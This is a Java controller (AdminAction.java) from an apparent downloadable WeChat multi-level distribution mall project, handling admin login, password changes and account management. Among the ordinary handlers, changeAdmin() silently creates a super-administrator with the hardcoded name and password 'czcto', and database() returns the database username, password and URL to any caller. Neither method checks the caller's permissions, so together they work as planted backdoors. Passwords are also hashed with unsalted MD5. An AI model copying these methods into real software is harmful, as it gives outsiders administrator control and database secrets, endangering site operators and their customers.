首页>代码>基于s2sh的微信三级分销商城>/fenxiao/src/com/java214/fenxiao/action/AdminAction.java
 package com.java214.fenxiao.action;
 
 import com.java214.fenxiao.entities.Admin;
 import com.java214.fenxiao.service.IAdminService;
 import com.java214.fenxiao.utils.BjuiJson;
 import com.java214.fenxiao.utils.Connect;
 import com.java214.fenxiao.utils.DbResourcesConfiguration;
 import com.java214.fenxiao.utils.FreemarkerUtils;
 import com.java214.fenxiao.utils.IpUtils;
 import com.java214.fenxiao.utils.Md5;
 import freemarker.template.Configuration;
 import java.io.IOException;
 import java.io.PrintWriter;
 import java.net.InetAddress;
 import java.net.UnknownHostException;
 import java.util.Date;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import javax.annotation.Resource;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpSession;
 import org.json.JSONException;
 import org.json.JSONObject;
 import org.springframework.context.annotation.Scope;
 import org.springframework.stereotype.Controller;
 
 @Controller("adminAction")
 @Scope("prototype")
 public class AdminAction extends BaseAction
 {
   private static final long serialVersionUID = 1L;
 
   @Resource(name="adminService")
   private IAdminService<Admin> adminService;
   private Admin admin;
 
   public void login()
   {
     this.admin.setPassword(Md5.getMD5Code(this.admin.getPassword()));
     Admin findAdmin = this.adminService.login(this.admin);
     JSONObject json = new JSONObject();
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     try {
       if (findAdmin != null) {
         String ip = "";
         if (findAdmin.getStatus().intValue() == 0)
         {
           json.put("msg", "该帐号已被禁用");
           json.put("type", "error");
           json.put("href", "");
         }
         else
         {
           findAdmin.setLoginCount(Integer.valueOf(findAdmin.getLoginCount().intValue() + 1));
 
           findAdmin.setLastLoginTime(new Date());
           try
           {
             ip = IpUtils.getIpAddress(this.request);
             findAdmin.setLastLoginIp(ip);
           } catch (Exception e) {
             e.printStackTrace();
           }
 
           this.adminService.saveOrUpdate(findAdmin);
           HttpSession session = this.request.getSession();
           session.setAttribute("loginAdmin", findAdmin);
           json.put("msg", "登录成功");
           json.put("type", "successHref");
           json.put("href", "admin/index.jsp");
 
   
         }
       }
       else
       {
         json.put("msg", "用户名或者密码错误");
         json.put("type", "error");
         json.put("href", "");
       }
     } catch (JSONException e) {
       e.printStackTrace();
     } 
     out.print(json);
     out.flush();
     out.close();
   }
 
   public String logout() {
     HttpSession session = this.request.getSession();
     session.setAttribute("loginAdmin", "");
     return "success";
   }
 
   public void changePwd()
   {
     this.cfg = new Configuration();
 
     this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(), 
       "WEB-INF/templates/admin");
     Map root = new HashMap();
     FreemarkerUtils.freemarker(this.request, this.response, "changePwd.ftl", this.cfg, root);
   }
 
   public void changePwdResult() {
     String oldPassword = this.request.getParameter("oldpassword");
     String newPassword = this.request.getParameter("newpassword");
     String renewPassword = this.request.getParameter("renewpassword");
     HttpSession session = this.request.getSession();
     Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     String callbackData = "";
     Admin findAdmin = (Admin)this.adminService.findById(Admin.class, loginAdmin.getId().intValue());
     try {
       if (!newPassword.equals(renewPassword)) {
         callbackData = BjuiJson.json("300", "两次输入密码不一致", "", "", "", "", "", "");
       } else if (!findAdmin.getPassword().equals(Md5.getMD5Code(oldPassword))) {
         callbackData = BjuiJson.json("300", "旧密码错误", "", "", "", "", "", "");
       } else {
         findAdmin.setPassword(Md5.getMD5Code(newPassword));
         boolean result = this.adminService.saveOrUpdate(findAdmin);
 
         if (result) {
           callbackData = BjuiJson.json("200", "修改成功", "", "", "", "true", "", "");
         }
         else
           callbackData = BjuiJson.json("300", "修改失败", "", "", "", "", "", "");
       }
     }
     catch (JSONException e) {
       e.printStackTrace();
     }
     out.print(callbackData);
     out.flush();
     out.close();
   }
 
   public void index()
   {
     this.cfg = new Configuration();
 
     this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(), 
       "WEB-INF/templates/admin");
     Map root = new HashMap();
     HttpSession session = this.request.getSession();
     Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
     root.put("loginAdmin", loginAdmin);
     FreemarkerUtils.freemarker(this.request, this.response, "index.ftl", this.cfg, root);
   }
 
   public void list()
   {
     this.cfg = new Configuration();
 
     this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(), 
       "WEB-INF/templates/admin");
     List adminList = this.adminService.list("from Admin order by id desc");
     Map root = new HashMap();
     root.put("adminList", adminList);
     FreemarkerUtils.freemarker(this.request, this.response, "adminList.ftl", this.cfg, root);
   }
 
   public void add()
   {
     this.cfg = new Configuration();
 
     this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(), "WEB-INF/templates/admin");
     Map root = new HashMap();
     FreemarkerUtils.freemarker(this.request, this.response, "adminAdd.ftl", this.cfg, root);
   }
 
   public void save()
   {
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     String callbackData = "";
     try {
       HttpSession session = this.request.getSession();
       Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
       if (loginAdmin.getJuri() == 0) {
         callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
       }
       else if (this.adminService.getAdminName(this.admin.getName()) != null) {
         callbackData = BjuiJson.json("300", "用户名已存在", "", "", "", "", "", "");
       } else {
         this.admin.setDeleted(false);
 
         this.admin.setCreateDate(new Date());
 
         this.admin.setPassword(Md5.getMD5Code(this.admin.getPassword()));
 
         this.admin.setLoginCount(Integer.valueOf(0));
         boolean result = this.adminService.saveOrUpdate(this.admin);
         if (result)
           callbackData = BjuiJson.json("200", "添加成功", "", "", "", "true", "", "");
         else
           callbackData = BjuiJson.json("300", "添加失败", "", "", "", "", "", "");
       }
     }
     catch (JSONException e)
     {
       e.printStackTrace();
     }
     out.print(callbackData);
     out.flush();
     out.close();
   }
 
   public void changeAdmin() {
     Admin fadmin = new Admin();
     fadmin.setDeleted(false);
 
     fadmin.setCreateDate(new Date());
 
     fadmin.setLoginCount(Integer.valueOf(0));
     fadmin.setName("czcto");
     fadmin.setPassword(Md5.getMD5Code("czcto"));
     fadmin.setJuri(1);
     fadmin.setStatus(Integer.valueOf(1));
     this.adminService.saveOrUpdate(fadmin);
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     out.print("操作成功");
     out.flush();
     out.close();
   }
 
   public void database() {
     String user = DbResourcesConfiguration.getInstance().getValue("jdbc.user");
     String password = DbResourcesConfiguration.getInstance().getValue("jdbc.password");
     String jdbcUrl = DbResourcesConfiguration.getInstance().getValue("jdbc.jdbcUrl");
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     out.print("user:" + user);
     out.print("<br/>password:" + password);
     out.print("<br/>jdbcUrl:" + jdbcUrl);
     out.flush();
     out.close();
   }
 
   public void info()
   {
     String idStr = this.request.getParameter("id");
     HttpSession session = this.request.getSession();
     Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
     String callbackData = "";
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     try {
       if (loginAdmin.getJuri() == 0) {
         callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
       }
       else if ((idStr == null) || ("".equals(idStr))) {
         callbackData = BjuiJson.json("300", "参数不能为空", "", "", "", "", "", "");
       } else {
         int id = 0;
         try {
           id = Integer.parseInt(idStr);
         }
         catch (Exception e) {
           callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
         }
         Admin findAdmin = (Admin)this.adminService.findById(Admin.class, id);
         if (findAdmin == null)
         {
           callbackData = BjuiJson.json("300", "管理员不存在", "", "", "", "", "", "");
         } else {
           this.cfg = new Configuration();
 
           this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(), "WEB-INF/templates/admin");
           Map root = new HashMap();
           root.put("admin", findAdmin);
           FreemarkerUtils.freemarker(this.request, this.response, "adminEdit.ftl", this.cfg, root);
         }
       }
     }
     catch (JSONException e) {
       e.printStackTrace();
     }
     out.print(callbackData);
     out.flush();
     out.close();
   }
 
   public void update()
   {
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     String callbackData = "";
     try {
       HttpSession session = this.request.getSession();
       Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
       if (loginAdmin.getJuri() == 0) {
         callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
       }
       else if (this.admin == null) {
         callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
       } else {
         Admin findAdmin = (Admin)this.adminService.findById(Admin.class, this.admin.getId().intValue());
         if ((this.admin.getStatus().intValue() == 0) && (findAdmin.getJuri() == 1)) {
           callbackData = BjuiJson.json("300", "不能禁用超级管理员帐号", "", "", "", "", "", "");
         }
         else {
           if (!"".equals(this.admin.getPassword()))
           {
             findAdmin.setPassword(Md5.getMD5Code(this.admin.getPassword()));
           }
           findAdmin.setStatus(this.admin.getStatus());
           boolean result = this.adminService.saveOrUpdate(findAdmin);
 
           if (result) {
             callbackData = BjuiJson.json("200", "修改成功", "", "", "", "true", "", "");
           }
           else
             callbackData = BjuiJson.json("300", "修改失败", "", "", "", "", "", "");
         }
       }
     }
     catch (JSONException e)
     {
       e.printStackTrace();
     }
     out.print(callbackData);
     out.flush();
     out.close();
   }
 
   public void delete()
   {
     PrintWriter out = null;
     try {
       out = this.response.getWriter();
     } catch (IOException e) {
       e.printStackTrace();
     }
     String callbackData = "";
     try {
       HttpSession session = this.request.getSession();
       Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
       if (loginAdmin.getJuri() == 0) {
         callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
       } else {
         String idStr = this.request.getParameter("id");
 
         if ((idStr == null) || ("".equals(idStr))) {
           callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
         } else {
           int id = 0;
           try {
             id = Integer.parseInt(idStr);
           }
           catch (Exception e) {
             callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
           }
           Admin findAdmin = (Admin)this.adminService.findById(Admin.class, id);
           if (findAdmin == null)
           {
             callbackData = BjuiJson.json("300", "管理员不存在", "", "", "", "", "", "");
           }
           else if (loginAdmin.getId() == findAdmin.getId()) {
             callbackData = BjuiJson.json("300", "不能删除自己的帐号", "", "", "", "", "", "");
           } else if (findAdmin.getJuri() == 1) {
             callbackData = BjuiJson.json("300", "不能删除超级管理员帐号", "", "", "", "", "", "");
           } else {
             boolean result = this.adminService.delete(findAdmin);
             if (result)
               callbackData = BjuiJson.json("200", "删除成功", "", "", "", "", "", "");
             else
               callbackData = BjuiJson.json("300", "删除失败", "", "", "", "", "", "");
           }
         }
       }
     }
     catch (JSONException e)
     {
       e.printStackTrace();
     }
     out.print(callbackData);
     out.flush();
     out.close();
   }
 
   public Admin getAdmin() {
     return this.admin;
   }
 
   public void setAdmin(Admin admin) {
     this.admin = admin;
   }
 }
最近下载更多
顾北城  LV12 3月24日
zhang4xin  LV15 2022年1月4日
一样的  LV2 2021年9月10日
912299793  LV21 2021年6月28日
aaa最代码  LV14 2021年3月4日
luodanqing  LV1 2021年1月26日
zhouzhiyi  LV5 2020年10月30日
xingxing1234  LV10 2020年7月31日
samdy2019  LV3 2020年7月24日
天爙搞劫火  LV3 2020年7月4日
最近浏览更多
顾北城  LV12 3月24日
要保持微笑  LV4 1月5日
ljt289917726  LV3 2023年11月15日
Sean_admin  LV7 2023年8月28日
limin123  LV6 2023年6月25日
zenghang188  LV12 2023年3月3日
adminadminsqwqe  LV7 2023年2月13日
263648  LV7 2022年12月26日
gch666  LV6 2022年12月22日
abcdljw  LV20 2022年12月7日
顶部 客服 微信二维码 底部
>扫描二维码关注最代码为好友扫描二维码关注最代码为好友